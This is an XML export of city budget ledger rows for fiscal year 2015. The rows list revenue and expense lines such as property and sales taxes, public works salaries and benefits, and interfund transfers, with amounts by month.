<row _id="17128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-223000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-223000.0</total></row>
<row _id="17129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401210.0</object><object_description>DAMAGE TO CITY PROPERTY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="17130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-66000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-66000.0</total></row>
<row _id="17131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>368330.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>368330.0</total></row>
<row _id="17132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-20186.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20186.0</total></row>
<row _id="17133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9343.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9343.0</total></row>
<row _id="17134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>139930.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139930.0</total></row>
<row _id="17135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8475.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8475.0</total></row>
<row _id="17136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577703.0</object><object_description>PROP A REIMBURSEMENT ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="17137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577701.0</object><object_description>PROP A REIMBURSEMENT WISE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>600000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600000.0</total></row>
<row _id="17139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFER - GF CODE COMPLIANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400010.0</object><object_description>PROPERTY TAXES - SECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-26715138.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26715138.0</total></row>
<row _id="17141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400060.0</object><object_description>PROPERTY TAXES-DEL-SEC/UNSEC</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-666000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-666000.0</total></row>
<row _id="17142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400160.0</object><object_description>SALES / USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2015</fiscal_year><july>-33762347.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33762347.0</total></row>
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<row _id="17145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400190.0</object><object_description>BUSINESS LICENSE TAXES</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-30870745.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-30870745.0</total></row>
<row _id="17146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400840.0</object><object_description>VEHICLE LICENSE FEES</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405100.0</object><object_description>PARKING FACILITY TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2015</fiscal_year><july>-11300000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11300000.0</total></row>
<row _id="17148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410140.0</object><object_description>TRANSPORTATION ENG SVCS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="17149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>410200.0</object><object_description>PROGRAM INCOME</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="17150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562703.0</object><object_description>HOSPITALITY TRAINING ACADEMY</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>56832.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>56832.0</total></row>
<row _id="17151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566920.0</object><object_description>YRT COLLABORATIVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>297034.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>297034.0</total></row>
<row _id="17152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533125.0</object><object_description>BEACH FAC FUEL STN MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="17153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>67591.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67591.0</total></row>
<row _id="17154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4529.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4529.0</total></row>
<row _id="17155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="17156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401090.0</object><object_description>INDIRECT COSTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-11302029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11302029.0</total></row>
<row _id="17157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408590.0</object><object_description>SA COLLECTIVE BARGAINING COSTS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-312400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-312400.0</total></row>
<row _id="17158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>402920.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-723364.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-723364.0</total></row>
<row _id="17159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4204.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4204.0</total></row>
<row _id="17161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>414.0</total></row>
<row _id="17162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1010.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1010.0</total></row>
<row _id="17163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1350.0</total></row>
<row _id="17164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18639.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18639.0</total></row>
<row _id="17165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>152000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>152000.0</total></row>
<row _id="17166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570320.0</object><object_description>TRANS FROM 04-GLOW, PLGRND PRT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-35600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35600.0</total></row>
<row _id="17167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533220.0</object><object_description>BUILDING / STRUCTURE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="17168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1305.0</total></row>
<row _id="17169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>408490.0</object><object_description>RESIDENTIAL REPORT MONITORING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1500.0</total></row>
<row _id="17170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>147.0</total></row>
<row _id="17172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1706.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1706.0</total></row>
<row _id="17173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522312.0</object><object_description>DISCOUNTS LOST</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="17174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>326696.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>326696.0</total></row>
<row _id="17175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1432787.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1432787.0</total></row>
<row _id="17176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-OPEN SP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3753</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3753</total></row>
